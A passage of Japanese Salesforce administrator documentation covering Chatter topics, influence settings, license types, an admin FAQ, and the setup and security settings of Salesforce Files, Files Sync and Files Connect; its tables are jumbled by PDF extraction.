合わせ、最大 3 つの推奨が最初の 2,000 文字から作成されます)。
5. [保存] をクリックしてすべてのオブジェクトの変更を保存します。
これで、有効なオブジェクトへのアクセス権と適切なトピック権限を持つユーザは、次の操作を実行できま
す。
• そのオブジェクト種別のレコードに対するトピックの割り当ておよび推奨トピックを表示する
• そのオブジェクト種別のレコードに対してトピックを追加または削除する
• オブジェクト種別のレコードに対するトピックを使用してリストビューを絞り込む
さらに、組織でChatterを使用している場合、ユーザはレコードに割り当てられたトピックをクリックして直接
トピックページに移動できます。トピックページには、トピックに関する他のレコード、トピックに関する知
識のあるユーザ、およびその他の関連情報が表示されます。

関連トピック:

タグとトピックを使用したレコードの整理
レコードへのトピックの追加
タグとトピックを使用したレコードの整理
レコードへのトピックの追加
記事のトピックの有効化
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トピックの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

標準トピックを削除する
• 「すべてのデータの編

集」

または

「トピックの削除」

コミュニティでナビゲー
ショントピックまたは主
要項目としても使用され
ているトピックを削除す
る
• 「コミュニティの作成

および設定」

または

「コミュニティの管
理」

適切な権限を持つユーザは、トピック詳細ページから直接トピックを削除でき
ます。
トピックの名前と説明は非公開ではないため、コンプライアンスの理由でトピッ
クを削除したり、不適切なコンテンツを削除したりすることがあります。トピッ
クを削除する場合は、次の点を考慮してください。
• トピックは完全に削除されます。ごみ箱には移動されません。
• 削除したトピックは、検索結果、トピックリスト、すべての投稿とレコー

ド、最近話したトピック、関連トピック、およびユーザのお気に入りから削
除されます。削除したトピックは、次回の計算後にトピックのトレンドから
削除されます。

• ユーザは、削除後でもトピックを再度紹介できます。
トピックを削除する手順は、次のとおりです。
1. トピック詳細ページに移動します。
2. 右上の をクリックして、[削除] を選択します。
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トピックのプライバシー

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

トピック名や説明は非公開グループおよびレコードでのみ表示されますが、非
公開ではありません。トピックがある投稿およびレコードのセキュリティとプ
ライバシーは、トピックがない投稿およびレコードのものと同じです。
次のテーブルに、すべてのトピックが表示される場所と、非公開グループおよ
びレコードでのみ使用されるトピックが表示されない場所を示します。

非公開グループおよびレ
コードでのみ使用される
トピックを表示しない

すべてのトピックを表示
する

ユーザインターフェース
要素

トピックリスト

トピックの検索結果

トピックレポート

知識のあるユーザレポー
ト

トピックの詳細ページに
含まれる関連トピック

グループの詳細ページに
含まれる最近話したト
ピック

プロファイルに含まれる
[最近の話題] のトピック

Chatter ページに含まれる
トピックのトレンド

トピックを投稿に追加す
る場合の推奨されるト
ピック

トピックを投稿に追加す
るときにトピックリスト
とトピックの提案に含ま
れる話しているユーザの
人数

メモ: リストに記載しないグループで、トピックは使用できません。リストに記載しないグループに投稿
またはコメントを記載する際に、ハッシュタグトピックを追加することができます。このトピックは、
投稿後にリンクとして書式設定されます。ただし、トピック詳細ページは作成されず、リンクは機能し
ません。
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Chatter 影響度のカスタマイズ
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

Chatter 影響度をカスタマ
イズする
• 「アプリケーションの

カスタマイズ」

Chatter 影響度の計算を改善するには、投稿、コメント、いいね! の活動しきい値
をカスタマイズします。
Chatter 活動の統計情報には、ユーザが行った投稿やコメントの数、ユーザが受
け取ったコメントの数、ユーザの投稿とコメントにいいね! と言った人の数など
が含まれます。
1. [設定] から、[クイック検索] ボックスに「影響度」と入力し、[影響度] を選

択します。
2. 最小活動しきい値を変更します。

すべての最小活動しきい値がデフォルトの 0 に設定されます。0 より高いし
きい値を設定する場合、3 つの最小値のすべてを満たしているユーザ以外は
オブザーバーとみなされ、影響度ランクを計算するときにカウントされませ
ん。3 つの最小値すべてを満たしており活動数値が比較的低いユーザもオブ
ザーバーとみなされますが、影響度の計算時にカウントされます。

3. [保存] をクリックします。
Chatter 影響度は、これらの値を保存すると再計算されます。

警告: 新しいしきい値を設定するときは、ユーザの影響度がすぐに変更
される可能性があるので注意が必要です。

関連トピック:

Salesforce Chatter

ユーザの Chatter メッセージの定義に関するガイドライン
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Salesforce ライセンスを持
つユーザの場合は
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com 管理ライセ
ンスを持つユーザの場合
は Database.com Edition

「Chatterメッセージの管理」権限を持つ Salesforceシステム管理者は、SOAP API を
使用してすべてのユーザの非公開メッセージにアクセスできます。任意のメッ
セージを (コンプライアンス目的などで) 参照および削除できます。
非公開 Chatter メッセージを削除する場合、次のガイドラインを考慮してくださ
い。
• メッセージは物理削除されます。ごみ箱には移動されません。
• 削除されたメッセージは、メッセージの検索結果には含まれません。
• 他のユーザとのファイルの共有からのメッセージの削除では、ファイル自体

は削除されません。
• すべてのメッセージが削除された会話は、[私のメッセージ] に表示されず、

Chatter REST API を使用して取得することはできません。
• メールの返信が有効化されている場合、削除されたメッセージにユーザが返

信すると、Chatter からエラー通知が返され、返信メッセージは処理されませ
ん。
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ダッシュボードパッケージを使用した Chatter のレポート
エディション

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition、
Developer Edition、および
Performance Edition

SalesforceChatterダッシュボードパッケージには、極めて強力な機能がまとめられ
ています。数種のダッシュボードと 100 を超えるレポートのほか、組織での
Chatterの採用やエンゲージメントの監視および管理に使用可能なカスタムレポー
トタイプも取得できます。
Salesforce Chatter ダッシュボードパッケージを使用して、次のことができます。
• Chatterの全般的な採用と詳細な総計値および月単位のトレンドを表示する。
• グループの採用と、メンバーシップやエンゲージメントの総計値 (投稿、コ

メント、いいね! の数、上位の寄稿者など) を監視する。
• コンテンツの作成やユーザエンゲージメントを監視する (上位のファイル、

コンテンツのトレンド、上位の寄稿者など)。
• トピックの分類を表示し、トピックの割り当てを監視する (割り当てが最多のトピック、上位の割り当て者

など)。
• 標準のグルーピング (部門、国、ロール、プロファイルなど) を使用してカスタマイズされたレポートを作

成する。
Salesforce Chatter ダッシュボードは AppExchange からインストールできます。

ヒント: インストール手順、レポートの詳細情報、およびアップグレード手順は、「Chatterダッシュボー
ドの使用開始」を参照してください。

パッケージがインストールされたら、新しいダッシュボード、レポート、カスタムレポートと共に、Salesforce

の他のすべてのダッシュボードおよびレポートにアクセスできます。
新しいバージョンのパッケージが利用可能になった場合は、パッケージを再インストールすることでアップグ
レードできます。レポートおよびダッシュボードをカスタマイズしている場合でも、カスタマイズはアップグ
レード時に保持されるため心配いりません。

説明ダッシュボード

Chatter の全体的な状況を一目で確認できます。概要

部門によるグループ、ユーザプロファイル、トピックの採用総計値の概要を確認できます。部門別採用

ファイルのアップロード、ダウンロード、エンゲージメント、およびコンテンツ作成者を
追跡します。

ファイル

Chatter グループのフィードおよびメンバー活動を監視します。グループ

未回答の質問と投稿、グループの成長率、およびグループの全体的な健全度を追跡します。管理

グループで投稿された質問、回答、および最良の回答の最近の活動を追跡します。Q&A

Chatter のトピック活動を追跡します。トピック

ユーザプロファイルの質問、回答、および最良の回答の最近の活動を追跡します。ユーザ
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メモ: このパッケージのレポートは、Chatter全体のデータを返します。組織でコミュニティを使用してい
る場合は、代わりにSalesforce Communities Management (Chatterを使用するコミュニティ向け) パッケージをイ
ンストールすることをお勧めします。このパッケージでは、内部組織でのChatterの使用状況およびコミュ
ニティでの Chatter の使用状況をレポートできます。

Chatter ユーザライセンス
エディション

使用可能なエディション:
Salesforce Classic

Chatter External および
Chatter Free ライセンスを
使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

Chatter Only (Chatter Plus と
も呼ばれる) ライセンスを
使用可能なエディション:
Professional Edition、
Enterprise Edition、
Unlimited Edition、および
Performance Edition

すべての標準 Salesforce ライセンスでは、組織の全員が Chatter に無料でアクセス
できます。Salesforce ではまた、Chatter External、Chatter Free、および Chatter Only

(Chatter Plus ともいう) という Chatter 固有のライセンスも提供しています。

Chatter External
このライセンスは、会社のメールドメイン外のユーザ向けです。外部ユーザ (顧
客ともいう) は、顧客を許可する Chatter グループに招待されます。顧客は、招待
されたグループでのみ情報にアクセスでき、そのグループのユーザとのみ会話
できます。Chatter オブジェクトやデータにはアクセスできません。

Chatter Free
Chatter Free ライセンスは、Salesforce ライセンスを所有していないが、Chatter にア
クセスする必要があるユーザ向けです。これらのユーザは、ユーザ、プロファ
イル、グループ、およびファイルなどの Chatter の標準項目にアクセスできます
が、Salesforce オブジェクトやデータにはアクセスできません。Chatter Free ユーザ
は、Chatter モデレータになることができます。
Chatter Free ユーザには、他の Salesforce ユーザのようにタブが表示されません。
Chatter Free ユーザは、ページのサイドバーにあるリンクを使用して、フィード、
ユーザ、グループ、およびファイルにアクセスします。
Salesforce システム管理者は、Chatter Free ライセンスを標準 Salesforce ライセンスま
たは Chatter Only ライセンスにいつでもアップグレードできます。標準 Salesforce

ライセンスまたは Chatter Only ライセンスを Chatter Free ライセンスに変換することはできません。

Chatter Only (Chatter Plus)
Chatter Only ライセンスは、Chatter Plus ライセンスともいいます。このラインセンスは、Salesforce ライセンスは
所有していないが、Chatter の他に一部の Salesforce オブジェクトにアクセスする必要があるユーザ向けです。
Chatter Plus ユーザは、Chatter モデレータになることができ、Chatter の標準のユーザ、プロファイル、グループ、
およびファイルページにアクセスできます。また、次の操作も実行できます。
• Salesforce の取引先と取引先責任者を参照する
• Salesforce CRM Content、アイデア、およびアンサーを使用する
• ダッシュボードとレポートにアクセスする
• ワークフローを使用し、承認する
• カレンダーを使用して活動を作成および追跡する
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• 最大 10 個のカスタムオブジェクトを表示および変更する
• レコードをグループに追加する
デフォルトで、Salesforce の標準オブジェクトのタブは Chatter Plus ユーザには非表示になっています。Chatter Plus

ユーザがこれらのタブを使用できるようにする場合は、タブを表示します。Chatter Plus ユーザについての詳細
は、「Chatter およびよくある質問 (FAQ)」を参照してください。

Chatter ライセンスの概要
次の表に、Chatter External、Chatter Free、および Chatter Only ライセンスで使用できる機能を示します。

Chatter Only

(Chatter Plus)

Chatter FreeChatter External

(顧客が招待されたグルー
プ内の項目およびユーザ
にアクセスが制限されて
います)

機能

Chatter デスクトップクライ
アント

ダウンロード可能アプリ
ケーションのユーザは、

Salesforce1 モバイルアプリ
ケーションの使用
(ダウンロード可能アプリ
ケーションには「API の有 [グループ] または [人] リス

トビューにアクセスでき
ません。

効化」プロファイル権限
が必要)

フィード

ファイル共有
Files Connect

グループ

グループメンバーでもあ
る顧客のみが、アクセス

グループへの参加招待

権を持つグループのChatter

ユーザを招待でき、Chatter

外のユーザにアクセスで
きます。

プロファイル

トピックとハッシュタグ

非公開メッセージ
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Chatter Only

(Chatter Plus)

Chatter FreeChatter External

(顧客が招待されたグルー
プ内の項目およびユーザ
にアクセスが制限されて
います)

機能

検索結果には、顧客がグ
ループ経由でアクセスで

グローバル検索

きる項目のみが含まれま
す。

最大 10 個のカスタムオブ
ジェクト

カスタムオブジェクト

参照のみ
取引先と取引先責任者

カレンダーと行動

コンテンツライブラリ

アイデアとアンサー

レポートとダッシュボー
ド

ToDo と活動

ワークフローの使用と承
認

FAQ - Chatter の管理

Chatter を使用して複数の Salesforce 組織に接続できますか?
Chatter は組織単位での使用に限られます。Chatter を使用して相互に通信できるのは、同じ Salesforce 組織内の
ユーザのみです。ただし、会社のメールドメイン外の人を追加して、所有または管理するグループの顧客とし
て組織の Chatter を使用できます。

ポータルユーザは Chatter を使用できますか?
パートナーポータルまたはカスタマーポータルのポータルユーザは、Chatterを使用できません。Chatterを使用
できるのは、コミュニティに属するカスタマーユーザとパートナーユーザです。
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Chatter エキスパートユーザを管理できますか?
システム管理者は、Chatter エキスパートユーザを無効にするか、引き継いで会社に投稿を行うことができま
す。デフォルトでは、Chatterエキスパートは、新規ユーザが [参加できるグループ] ページでChatterから提案さ
れたグループのいずれかを開始することを選択すると、投稿を行います。

メモ: この制限は、Summer '11 後に作成された組織にのみ適用されます。

Chatter エキスパートを無効にする手順は、次のとおりです。
1. [人] > [ユーザを検索] をクリックします。
2. 「Chatter エキスパート」を検索します。
3. [ユーザの管理] > [ユーザを無効化] をクリックします。
投稿を送受信できるように Chatter エキスパートを管理する手順は、次のとおりです。
1. [人] > [ユーザを検索] をクリックします。
2. 「Chatter エキスパート」を検索します。
3. メールアドレスを自分のアドレスに変更します。

ユーザが Chatter グループを作成できないようにすることはできますか?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

グループを作成できないようにする必要があるユーザがいる場合、そのユーザ
によるグループの作成をブロックできます。
グループ (公開、非公開、リストに記載しない) を作成できるかどうかは、「新
規 Chatter グループの作成および所有」権限で決まります。この権限はデフォル
トで有効になっていますが、システム管理者は該当のユーザのプロファイルで
この権限を無効にすることができます。
システム管理者がこの権限を無効にすると、ユーザは新規 Chatter グループを作
成できなくなります。また、ユーザをその所有者として割り当てることもでき
なくなります。ユーザがすでに何らかのグループの所有者である場合、その所
有権は取り消されません。

関連トピック:

元のプロファイルインターフェースでのプロファイルの編集

ページレイアウトエディタを使用して Chatter フィードの場所を変更できます
か?
現在、Chatter フィードの場所は変更できません。ただし、ユーザは Chatter フィード内で [Chatter を非表示]

リンクをクリックしてフィードを非表示にしたり、 [Chatter を表示] リンクをクリックしてフィードを表示
することができます。
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Chatter 投稿で特定の語句の使用を禁止することはできますか?
いいえ。標準Chatterインターフェースを使用している場合はできません。ただし、Chatter Blacklistなどのサード
パーティアプリケーションがあります。このアプリケーションでは、Chatter の投稿とコメントで禁止する単
語、語句、またはカスタム表現 (たとえば、クレジットカード番号など) の「ブラックリスト」を作成できま
す。これらの語によって投稿を防止するか、適切な単語または語句で置換するか、または監査目的で記録でき
ます。
Salesforce サポートでは、アプリケーションのプロバイダ情報で特に明記されていない限り、サードパーティア
プリケーション/パッケージのトラブルシューティングを提供しません。

Chatter の投稿とファイルはディスク使用量に加算されますか?
Chatter フィードの投稿、変更追跡、およびコメントはデータストレージ使用量に加算されません。ただし、
アップロードしたファイルや写真はすべて、ファイルストレージ使用量に加算されます。[ファイル] タブに
アップロードしたファイルも、ファイルストレージ使用量に加算されます。

Salesforce Files

[ファイル] 関連リストを含めるようにページレイアウトをカスタマイズして、レコードに関連付けられたファ
イルのリストがユーザに表示されるようにします。

ページレイアウトへの [ファイル] 関連リストの追加
[ファイル] 関連リストを含めるようにページレイアウトをカスタマイズします。これにより、ユーザはファ
イルをレコードに追加し、レコードに関連付けられたファイルのリストを表示できます。
ユーザによる Salesforce ファイル添付の防止
権限セットを使用して、ユーザが投稿、レコード、および他のオブジェクトに Salesforce ファイルを添付す
ることを防止します。

ページレイアウトへの [ファイル] 関連リストの追加
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

[ファイル] 関連リストを含めるようにページレイアウトをカスタマイズします。
これにより、ユーザはファイルをレコードに追加し、レコードに関連付けられ
たファイルのリストを表示できます。
添付ファイルの代わりにファイルを使用して、個々のレコードのコンテキスト
以外でファイルを使用できるようにします。ファイル所有者またはシステム管
理者が引き続きファイルの共有設定を決定します。
1. [設定] から、[クイック検索] ボックスに「オブジェクトマネージャ」と入力

し、[ファイル] 関連リストを追加するオブジェクトの名前を選択します ([商
談] など)。

2. [ページレイアウト] をクリックします。
3. カスタマイズするページレイアウトをクリックします。
4. 左ペインの使用可能な項目のリストで、[関連リスト] をクリックします。
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5. [ファイル] を [関連リスト] セクションにドラッグします。
6. [保存] をクリックします。

ユーザによる Salesforce ファイル添付の防止
エディション

使用可能なエディション:
すべてのエディション

権限セットを使用可能な
エディション: Contact
Manager Edition、
Professional Edition、
Group Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

権限セットを使用して、ユーザが投稿、レコード、および他のオブジェクトに
Salesforce ファイルを添付することを防止します。
[設定] でユーザ権限を無効または有効にします。[クイック検索] ボックスに
「ユーザプロファイル」と入力し、[プロファイル] を選択します。目的のユーザ
プロファイルの横にある [編集] をクリックします。[システム管理者権限] セク
ションで、[Salesforce からファイルを選択] チェックボックスをオンまたはオフに
します。[保存] をクリックします。
もう 1 つの方法は、権限セットの権限を適用することです。この権限が無効に
なっているユーザも、引き続きローカルドライブからファイルをアップロード
できます。権限セットの権限を適用するには、[設定] から、QuickFind ボック
スに「権限セット」と入力し、[権限セット] を選択します。権限セットを編集
し、「Salesforce からファイルを選択」権限を適用します。

Salesforce Files Sync

Salesforce Files Sync を使用すると、ユーザはデバイスと Salesforce の間でファイルを同期できます。

Salesforce Files Sync の有効化
Salesforce Files Sync を有効して、ユーザがデバイスと Salesforce 間でファイルを同期できるようにします。
Salesforce Files Sync へのアクセス権のユーザへの付与
Salesforce Files Syncを有効にした後、権限セットを作成して割り当てるか、プロファイルに対して権限を付与
し、ユーザにアクセス権を付与します。
Salesforce Files Sync のインストール
Salesforce Files Sync クライアントでは、ユーザのコンピュータと Salesforce 間でファイルが同期されます。ユー
ザは Salesforce1 から同期済みファイルにアクセスすることもできます。
[ファイルのアップロードおよびダウンロードセキュリティ] の設定
セキュリティを強化するには、アップロードおよびダウンロード中の数種類のファイルの処理方法を制御
します。
Salesforce Files Sync の管理のヒントとベストプラクティス
Salesforce Files Sync 管理者ツールを使用して、Salesforce Files Sync のアクセス状況と使用状況を監視します。
コンテンツまたはファイルのプレビューの再生成
コンテンツやファイルにプレビューが存在しない場合、またはプレビューの画質が悪い場合、プレビュー
を再生成してみます。
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Salesforce Files Sync の有効化
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce Files Sync を有効
化する
• 「アプリケーションの

カスタマイズ」

Salesforce Files Syncを有効して、ユーザがデバイスと Salesforce間でファイルを同期
できるようにします。
1. [設定] から、[クイック検索] ボックスに「Salesforce ファイル」と入力し

ます。
2. [設定] で、[一般設定] を選択します。
3. [Salesforce Files Sync 設定] ページ上部の [編集] をクリックします。
4. [Files Sync を有効化] を選択します。
5. [保存] をクリックします。
Salesforce Files Sync が組織に対して有効になります。
次に、Salesforce Files Sync へのアクセス権をユーザに付与します。

Salesforce Files Sync へのアクセス権のユーザへの付与
ユーザ権限

ユーザに対して Salesforce
Files Sync を有効化する
• 「アプリケーションの

カスタマイズ」

Salesforce Files Sync を有効にした後、権限セットを作成して割り当てるか、プロ
ファイルに対して権限を付与し、ユーザにアクセス権を付与します。

権限セットを使用した Salesforce Files Sync へのアクセス権の付与
権限セットは、ユーザに対して Salesforce Files Sync を有効にする簡単な方法で
す。
プロファイルに対する Salesforce Files Sync の有効化
特定の標準プロファイルを持つすべてのユーザ、または Salesforce 組織に固有のカスタムプロファイルに対
して Salesforce Files Sync を有効化します。

権限セットを使用した Salesforce Files Sync へのアクセス権の付与

ユーザ権限

権限セットを作成する
• 「アプリケーションの

カスタマイズ」

権限セットは、ユーザに対してSalesforce Files Syncを有効にする簡単な方法です。
1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ

ト] を選択します。
2. [新規] をクリックします。
3. 必須項目に入力します。

表示ラベル
権限セットの一意の表示ラベル。たとえば、この権限セットに「Salesforce Files Sync 対応」などのラベル
を付けることができます。
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API 名
Force.com API が使用する一意の名前。

説明
この権限セットの説明。たとえば「割り当てられたユーザに対して Salesforce Files Sync を有効化します。
Salesforce Files Syncを使用すると、ユーザはデバイス間でファイルを自動的に同期できます。」などです。

4. ユーザライセンスオプションを選択します。

メモ: この権限セットをSalesforceとChatter Onlyの両方のライセンスを持つユーザに割り当てる場合は、
[——なし——] を選択します。

5. [保存] をクリックします。
新しい権限セットの概要ページが表示されます。

6. [システム] の下で、[システム権限] をクリックします。
7. [システム権限] リストの上部で、[編集] をクリックします。
8. [ファイルを同期] を選択します。
9. [保存] をクリックします。
Salesforce Files Sync にアクセスする必要があるユーザに権限セットを割り当てます。

関連トピック:

権限セットライセンス

プロファイルに対する Salesforce Files Sync の有効化

ユーザ権限

プロファイルに対して
Salesforce Files Sync を有効
化する
• 「アプリケーションの

カスタマイズ」

特定の標準プロファイルを持つすべてのユーザ、または Salesforce 組織に固有の
カスタムプロファイルに対して Salesforce Files Sync を有効化します。
1. [設定] から、[クイック検索]ボックスに「プロファイル」と入力し、[プロファ

イル] を選択します。
2. Salesforce Files Sync 権限を付与するプロファイルを選択します。
3. プロファイルの詳細ページで、[編集] をクリックします。
4. [システム管理者権限] の下で、[ファイルを同期] を選択します。
5. [保存] をクリックします。

関連トピック:

プロファイル

Salesforce Files Sync のインストール
Salesforce Files Sync クライアントでは、ユーザのコンピュータと Salesforce 間でファイルが同期されます。ユーザ
は Salesforce1 から同期済みファイルにアクセスすることもできます。
Salesforce Files Sync を使用する場合の推奨システム要件は、次のとおりです。
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MacWindowsシステム要件

Apple® Mac OS X 10.8 Mountain Lion 以降Microsoft® Windows® 7 以降サポート対象オペレーティングシ
ステム

Intel® Core™ Duo 1.83 GHz 以上のプロ
セッサ

ネットブックデバイスの場合 2.33

GHz 以上の x86 互換プロセッサ、ま
たは Intel® Atom™ 1.6 GHz 以上のプロ
セッサ

プロセッサ

512 MB の RAM (推奨: 1 GB)512 MB の RAM (推奨: 1 GB)メモリ

4 GB の空き容量 (同期操作を行う場
合の推奨容量)

4 GB の空き容量 (同期操作を行う場
合の推奨容量)

ハードドライブ

ユーザは Chatter から Salesforce Files Sync をダウンロードできます。
1. [個人設定] から、[クイック検索] ボックスに「Files Sync」と入力し、[Salesforce Files Sync] を選択しま

す。複数の結果が表示された場合は、[個人設定] の下にある結果を選択します。
2. [ダウンロード] ボタンをクリックします。
3. オペレーティングシステムのインストール手順に従います。
4. Salesforce ログイン情報でログインします。

[ファイルのアップロードおよびダウンロードセキュリティ] の設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

ユーザ権限

ファイルのアップロード
およびダウンロードを設
定する
• 「アプリケーションの

カスタマイズ」

セキュリティを強化するには、アップロードおよびダウンロード中の数種類の
ファイルの処理方法を制御します。
ファイルのアップロードおよびダウンロード設定を管理する手順は、次のとお
りです。
1. [設定] から、[クイック検索]ボックスに「ファイルのアップロードおよびダウ

ンロードセキュリティ」と入力し、[ファイルのアップロードおよびダウンロー
ドセキュリティ] を選択します。

2. [編集] をクリックします。
3. セキュリティリスクが生じる可能性のあるファイルをユーザがアップロード

できないようにするには、[HTML で添付ファイルまたはドキュメントレコー
ドとしてアップロードすることを許可しない] を選択します。
この設定により、MIME のファイルの種類
(.html、.htt、.mht、.svg、.swf、.thtml、.xhtml) のアップロードが
ブロックされます。

警告: このオプションを選択する場合、次の点に注意してください。
• 組織でパートナーポータルを使用してパートナーユーザにSalesforceへのアクセス権を与える場合、

この設定を有効にすることはお勧めしません。この設定を有効にすると、組織でパートナーポータ
ルの外観をカスタマイズできなくなります。
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• このセキュリティ設定が有効かどうかに関係なく、ソリューションでは、HTML 添付ファイルが許
可されていません。さらに、この設定はメールテンプレートの添付ファイルに影響しません。メー
ルテンプレートの HTML 添付ファイルは常に許可されています。

• この設定を有効にした後は、以前にアップロードした HTML ドキュメントと添付ファイルが影響を
受けません。ただし、ユーザが HTML 添付ファイルまたはドキュメントを表示しようとすると、ブ
ラウザがまず、ブラウザでファイルを開くか、コンピュータに保存するか、またはアクションを
キャンセルするように要求します。

4. ファイルの種類ごとにダウンロード動作を設定します。
a. ダウンロード (推奨) — ファイルの種類に関係なく、ファイルは常にダウンロードされます。
b. ブラウザで実行 — ブラウザや HTTP 要求でアクセスした場合、種類に関係なくファイルが自動的に表示

され、実行されます。
c. ハイブリッド — Salesforce Filesがダウンロードされます。添付ファイルとドキュメントはブラウザで実行

されます。

5. [保存] をクリックします。

Salesforce Files Sync の管理のヒントとベストプラクティス
Salesforce Files Sync 管理者ツールを使用して、Salesforce Files Sync のアクセス状況と使用状況を監視します。

ユーザがいつ、どのように Salesforce Files Sync にアクセスしているかを表示す
る
Salesforce Files Sync をユーザに対して有効にすると、ユーザがデスクトップからアプリケーションにアクセスす
る頻度や、ユーザがファイルを共有する方法を確認できます。
• [ログイン履歴] ページの [アプリケーション] 列の下に、Salesforce Files Sync デスクトップアプリケーションへ

のログインが [Salesforce Files] として示されます。これらのログインを表示するには、組織のログイン履歴を
CSV ファイルにエクスポートするか、[アプリケーション] 列が目立って表示されるようなカスタムリスト
ビューを作成します。

• 個々のユーザのログイン履歴は、ユーザの詳細ページの [ログイン履歴] 関連リストで参照します。

Salesforce Files Sync へのアクセス権の無効化
ラップトップが盗まれたり、ユーザが退職したりすることがあります。Salesforce Files Sync へのアクセス権を無
効にして、不適切な相手にデータが渡ることを防止します。
• モバイルデバイスでは、Salesforce1 アプリケーションに同期済みファイルが含まれます。モバイルのセキュ

リティが侵害された場合、Salesforce1 アプリケーションへのユーザのアクセス権を無効にします。
• デスクトップとラップトップコンピュータでは、Salesforce Files Sync は同期済みファイルを [Salesforce Files Sync]

フォルダに保存します。個々のユーザの「ファイルを同期」権限を無効にすると、ファイルは Salesforce と
同期しなくなります。ただし、以前に同期されたファイルはユーザのコンピュータの [Salesforce Files Sync]

フォルダに残ります。
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個々のユーザに対する Salesforce Files Sync を無効化しやすくするには、プロファイルに対して機能を有効化
するのではなく、ユーザレコードに対して権限セットを使用して Salesforce Files Sync を有効化することをお
勧めします。

関連トピック:

ログイン履歴の監視

コンテンツまたはファイルのプレビューの再生成
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

プレビューを再生成する
• 「アプリケーションの

カスタマイズ」

コンテンツやファイルにプレビューが存在しない場合、またはプレビューの画
質が悪い場合、プレビューを再生成してみます。
再生成が進行中の間、ファイルはキューに追加されます。既存のプレビューは
すぐに削除され、ファイルがキュー内にある間はユーザにプレビューが表示さ
れません。
暗号化されたファイル、パスワードで保護されたファイル、コピー保護された
PDF、不明なファイル形式、25 MB を超えるファイルは、プレビューを再生成で
きません。
1. [設定] から、[クイック検索] ボックスに「プレビューを再生成する」と入力

し、[プレビューを再生成する] を選択します。
2. コンテンツドキュメント ID またはコンテンツバージョン ID のいずれかを指

定します。
コンテンツドキュメント ID を指定し、バージョン番号を指定しない場合は、
最新バージョンが使用されます。

プレビューが正常に再生成されたかどうかを確認するには、ファイルの詳細ペー
ジに移動します。

Salesforce Files Connect

Files Connectを使用すると、Salesforceユーザは、Google ドライブ、SharePoint、Box のようなシステムから外部デー
タのアクセス、共有、検索が可能になります。

Files Connect の設定プロセス
クラウドベースの外部データソースと社内の外部データソースでは Files Connect の設定プロセスが異なりま
す。
組織に対する Salesforce Files Connect の有効化
ユーザが、Google ドライブや SharePoint のような外部システムのファイルを検索および共有できます。
Files Connect データソースへのユーザアクセスと管理アクセスの許可
Files Connect を有効化したら、ユーザとシステム管理者に Salesforce から特定の外部データソースにアクセス
する権限を付与します。
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Box の認証プロバイダの作成
Box を外部データソースとして使用するには、Salesforce に Box の認証プロバイダを作成する必要があります。
Box の外部データソースの定義
ユーザが、[ファイル] ホーム、フィード投稿、検索から Box のコンテンツにアクセスできるようにします。
Google ドライブの認証プロバイダの作成
Google ドライブを外部データソースとして使用するには、Salesforce に Google ドライブの認証プロバイダを
作成する必要があります。そのためにはまず、Google 開発者コンソールで関連プロジェクトを作成します。
Google ドライブの外部データソースの定義
Chatterユーザが、[ファイル] タブ、フィード投稿、検索から Google ドライブのコンテンツにアクセスできる
ようにします。Salesforce では、Google ドキュメント、スプレッドシート、プレゼンテーション、図形描画
をサポートしています。
Azure (優先方法) を使用した SharePoint Online の認証プロバイダの作成
Microsoft が提供するクラウドベースの外部データソースのいずれかを使用するには、そのための認証プロバ
イダを Salesforce に作成し、Microsoft Azure Web アプリケーションにそのプロバイダを登録する必要がありま
す。
Office 365 (代替方法) を使用した SharePoint Online または OneDrive for Business の認証プロバイダの作成
Microsoft が提供するクラウドベースの外部データソースのいずれかを使用するには、そのための認証プロバ
イダを Salesforce に作成し、Office 365 アプリケーションにそのプロバイダを登録する必要があります。
SharePoint Online または OneDrive for Business の外部データソースの定義
Files Connect と Chatter を使用して、Salesforce から Microsoft が提供するクラウドベースのシステムのコンテン
ツにアクセスできます。
SharePoint 2010 または 2013 のセキュアエージェントの設定
セキュアエージェントは、Salesforce と SharePoint 2010 または 2013 の社内データ間の安全な通信を提供しま
す。Files Connect (社内) ソリューションは、ライセンスをすでに所有しているお客様のみ使用できます。
セキュアエージェントクラスタを使用したアクセスの確保
セキュアエージェントクラスタは、フェイルオーバ保護を提供して、Salesforce ユーザが常に SharePoint 2010

または 2013 などの社内の外部データソースにアクセスできるようにします。
SharePoint 2010 または 2013 の外部データソースの定義
Salesforce が社内システムにあるデータにアクセスできるようにします。Files Connect と Chatter を使用すると
可能です。Files Connect (社内) ソリューションは、ライセンスをすでに所有しているお客様のみ使用できま
す。
グローバル検索での Files Connect データソースの追加
Salesforce データと、Google ドライブ、SharePoint、または OneDrive for Business の外部データを一緒に検索しま
す。開発者は、API とサポートされる SOQL または SOSL クエリを使用してプロセスを自動化できます。
